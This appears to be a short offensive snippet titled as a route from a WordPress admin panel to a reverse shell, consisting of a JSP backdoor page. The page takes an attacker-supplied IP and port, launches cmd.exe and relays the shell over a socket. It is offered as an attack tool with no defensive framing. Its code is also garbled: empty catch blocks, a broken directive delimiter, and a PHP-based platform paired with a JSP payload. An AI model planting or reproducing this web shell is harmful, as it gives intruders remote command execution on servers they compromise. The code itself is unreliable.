from wordpress admin panel to rev shell

Code
<%@

page import="java.lang.*, java.util.*, java.io.*, java.net.*"

% >

<%!

static class StreamConnector extends Thread

{

        InputStream is;

        OutputStream os;

        StreamConnector(InputStream is, OutputStream os)

        {

                this.is = is;

                this.os = os;

        }

        public void run()

        {

                BufferedReader isr = null;

                BufferedWriter osw = null;

                try

                {

                        isr = new BufferedReader(new InputStreamReader(is));

                        osw = new BufferedWriter(new OutputStreamWriter(os));

                        char buffer[] = new char[8192];

                        int lenRead;

                        while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)

                        {

                                osw.write(buffer, 0, lenRead);

                                osw.flush();

                        }

                }

                catch (Exception ioe)

                try

                {

                        if(isr != null) isr.close();

                        if(osw != null) osw.close();

                }

                catch (Exception ioe)

        }

}

%>



<h1>JSP Backdoor Reverse Shell</h1>



<form method="post">

IP Address

<input type="text" name="ipaddress" size=30>

Port

<input type="text" name="port" size=10>

<input type="submit" name="Connect" value="Connect">

</form>

<p>

<hr>



<%

String ipAddress = request.getParameter("ipaddress");

String ipPort = request.getParameter("port");

if(ipAddress != null && ipPort != null)

{

        Socket sock = null;

        try

        {

                sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());

                Runtime rt = Runtime.getRuntime();

                Process proc = rt.exec("cmd.exe");

                StreamConnector outputConnector =

                        new StreamConnector(proc.getInputStream(),

                                          sock.getOutputStream());

                StreamConnector inputConnector =

                        new StreamConnector(sock.getInputStream(),

                                          proc.getOutputStream());

                outputConnector.start();

                inputConnector.start();

        }

        catch(Exception e) 

}

%>